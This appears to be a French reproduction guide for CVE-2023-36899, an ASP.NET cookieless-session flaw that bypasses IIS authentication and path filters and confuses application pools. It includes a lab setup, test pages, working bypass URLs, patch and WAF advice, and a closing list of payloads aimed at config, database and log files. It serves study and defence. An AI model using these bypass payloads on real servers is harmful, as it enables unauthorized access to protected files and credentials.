CVE-2023-36899

Environnement et outils de reproduction de la vulnérabilité CVE-2023-36899, ciblant le contournement de l'authentification de session sans cookie dans le framework ASP.NET.

Cookieless DuoDrop: IIS Auth Bypass & App Pool Privesc in ASP.NET Framework (CVE-2023-36899)

Dans le développement web moderne, bien que les cookies soient la méthode privilégiée pour transmettre l'ID de session, le .NET Framework propose également une alternative : encoder directement l'ID de session dans l'URL. Cette technique est appelée fonctionnalité « sans cookie » (cookieless) dans le .NET Framework. De nombreux développeurs et testeurs de sécurité négligent cette option car elle est rarement utilisée dans les applications réelles. Cependant, elle est devenue une mine d'or pour la découverte de vulnérabilités côté client, telles que la fixation de session, le détournement de session, l'injection HTML et le cross-site scripting. De plus, cette fonctionnalité peut être exploitée pour contourner les règles de pare-feu basées sur les chemins qui ne sont pas configurées pour reconnaître la méthode sans cookie. En raison de problèmes de sécurité inhérents, .NET Core et les versions ultérieures de .NET ont supprimé la fonctionnalité sans cookie. Mais nous ne devons pas oublier le grand nombre d'applications web qui utilisent encore le .NET Framework classique.

Points clés :

1. La fonctionnalité sans cookie du .NET Framework peut être abusée pour accéder à des répertoires protégés ou bloqués par les filtres d'URL d'IIS.
2. En utilisant la fonctionnalité sans cookie, il est possible de contourner les contrôles d'authentification ou de filtrage d'IIS.
3. Un autre problème concerne la manière dont IIS gère les pools d'applications, ce qui peut conduire à une élévation de privilèges ou à un contournement de la sécurité.
4. Grâce à la fonctionnalité sans cookie du .NET Framework, il est possible de forcer une application IIS à s'exécuter avec le pool d'applications parent au lieu de son propre pool d'applications.

Détails de la vulnérabilité :

1. Contournement de chemin restreint IIS

La fonctionnalité sans cookie du .NET Framework peut être abusée pour accéder à des répertoires protégés ou bloqués par les filtres d'URL d'IIS. Par exemple, considérons le cas suivant sur le site victim.com :

• Une page située dans le répertoire /protected/ : /webform/protected/target1.aspx, ce répertoire impose une authentification de base.
• Une page temporairement déplacée dans le dossier /bin/ : /webform/bin/target2.aspx, la rendant inaccessible.

Normalement, l'accès à ces pages via ces URL est bloqué par IIS :

• http://10.0.2.15:8080/webform/protected/target1.aspx
• http://10.0.2.15:8080/webform/bin/target2.aspx

Cependant, il est possible d'exploiter la fonctionnalité sans cookie pour accéder à ces pages via les modèles suivants :

• http://10.0.2.15:8080/webform/(S(X))/prot/(S(X))ected/target1.aspx
• http://10.0.2.15:8080/webform/(S(X))/b/(S(X))in/target2.aspx

2. Confusion de pools d'applications

La façon dont IIS gère les pools d'applications peut conduire à une élévation de privilèges ou à un contournement de la sécurité. Il est possible de manipuler la fonctionnalité sans cookie du .NET Framework pour forcer une application IIS à s'exécuter avec le pool d'applications parent au lieu de son propre pool d'applications. Par exemple :

• La racine du site (/) s'exécute avec le pool d'applications DefaultAppPool.
• L'application /classic/ utilise le pool d'applications .NET v4.5 Classic.
• L'application /classic/nodotnet/ utilise le pool d'applications NoManagedCodeClassic, qui ne prend pas en charge le code managé.

Un fichier C# nommé AppPoolPrint.aspx peut être accessible dans toutes les applications ci-dessus et affiche le nom du pool d'applications actuel. En utilisant deux fois la fonctionnalité sans cookie, nous pouvons exécuter cette page avec le pool d'applications parent :

• /(S(X))/(S(X))/classic/AppPoolPrint.aspx -> DefaultAppPool
• /(S(X))/(S(X))/classic/nodotnet/AppPoolPrint.aspx -> DefaultAppPool
• /classic/(S(X))/(S(X))/nodotnet/AppPoolPrint.aspx -> .NET v4.5 Classic

Cela permet même aux pages situées dans /classic/nodotnet/ (qui ne devraient pas exécuter de code managé) d'exécuter des pages ASPX avec le pool d'applications parent. Ce comportement peut conduire à une élévation de privilèges sur IIS.

Reproduction de la vulnérabilité :

1. Préparation de l'environnement :

• Système d'exploitation : installez une version de Windows Server, par exemple Windows Server 2016 ou 2019.
• Serveur web : installez Internet Information Services (IIS).
• Framework de développement : installez le .NET Framework (pas .NET Core ni .NET 5+).

Lors de l'installation d'IIS, sélectionnez :

• Serveur web :
  • Fonctionnalités HTTP courantes :
    • Contenu statique
    • Document par défaut
    • Navigation dans les répertoires
    • Erreurs HTTP
  • Développement d'applications :
    • Extensibilité .NET (correspondant à votre version du .NET Framework : 4.5)
    • ASP.NET (correspondant à votre version du .NET Framework : 4.5)
    • Extensions ISAPI
    • Filtres ISAPI
• Santé et diagnostic :
  • Journalisation HTTP
  • Surveillance des requêtes
  • Outils de journalisation
• Sécurité :
  • Filtrage des requêtes
  • Authentification de base
  • Authentification Windows

2. Configuration d'IIS :

1. Ouvrez le gestionnaire IIS.
2. Créez un nouveau site web.
3. Dans le nouveau site, créez plusieurs répertoires, par exemple /webform, /webform/protected et /webform/bin.
4. Dans le répertoire /protected/, configurez l'authentification de base.
5. Déplacez la page /webform/bin/target.aspx dans le dossier /bin/ pour la rendre inaccessible directement. (Par défaut, IIS interdit l'accès au répertoire bin car il contient des programmes compilés sensibles.)

3. Création des pages de test :

1. Dans le répertoire /webform/protected/, créez une page nommée target.aspx.
2. Dans le répertoire /webform/bin/, créez une page nommée target.aspx.
3. Dans chaque application, créez une page nommée AppPoolPrint.aspx qui affiche le nom du pool d'applications actuel.

Contenu de test du fichier target.aspx :

<%@ Page Language="C#" %>
    <!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>ASPX Test</title>
</head>
<body>
    This is a static text. <br>
    Dynamic text: <%= DateTime.Now.ToString() %>
        </body>
</html>

Contenu de test du fichier web.config à la racine :

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.web>
        <compilation debug="true" targetFramework="4.5" />
        <httpRuntime targetFramework="4.5" />
        <sessionState mode="InProc" cookieless="UseCookies" />
    </system.web>
</configuration>

Ici, signifie que le site utilise des cookies pour stocker certaines informations de session par défaut, etc. C'est d'ailleurs la valeur par défaut.

4. Reproduction de la vulnérabilité :

1. Essayez d'accéder directement aux pages /webform/protected/target.aspx et /webform/bin/target.aspx. Vous devriez être bloqué ou invité à vous authentifier.

Accès réussi en utilisant http://10.0.2.15:8080/webform/(S(X))/b/(S(X))in/target1.aspx

2. Utilisez la fonctionnalité sans cookie pour tenter d'accéder à ces pages, par exemple :
   • https://yourserver/webform/(S(X))/prot/(S(X))ected/target.aspx
   • https://yourserver/webform/(S(X))/b/(S(X))in/target.aspx Vous devriez pouvoir contourner l'authentification ou les filtres pour accéder à ces pages.

Recommandations de correctif

1. Bloquez la signature /S(X)) sur le WAF.
2. Installez le correctif correspondant sur le serveur https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36899

Liste de payloads potentiels :

/config/(S(X))/a/(S(X))pp/settings.xml
/config/(S(X))/settings.xml
/config/(S(X))/database.yml
/admin/(S(X))/config.xml
/a/(S(X))ppled/resource
/dashboard/(S(X))/data.json
/logs/(S(X))/error.log
/api/v1/(S(X))/config.json
/admin/s/(S(X))ettings/config.xml
/manage/s/(S(X))cripts/script.js
/dashboard/d/(S(X))ata/data.json
/config/dat/(S(X))abase/database.yml
....

Références :

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36899 https://soroush.me/blog/2023/08/cookieless-duodrop-iis-auth-bypass-app-pool-privesc-in-asp-net-framework-cve-2023-36899/ https://nvd.nist.gov/vuln/detail/CVE-2023-36899 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-36899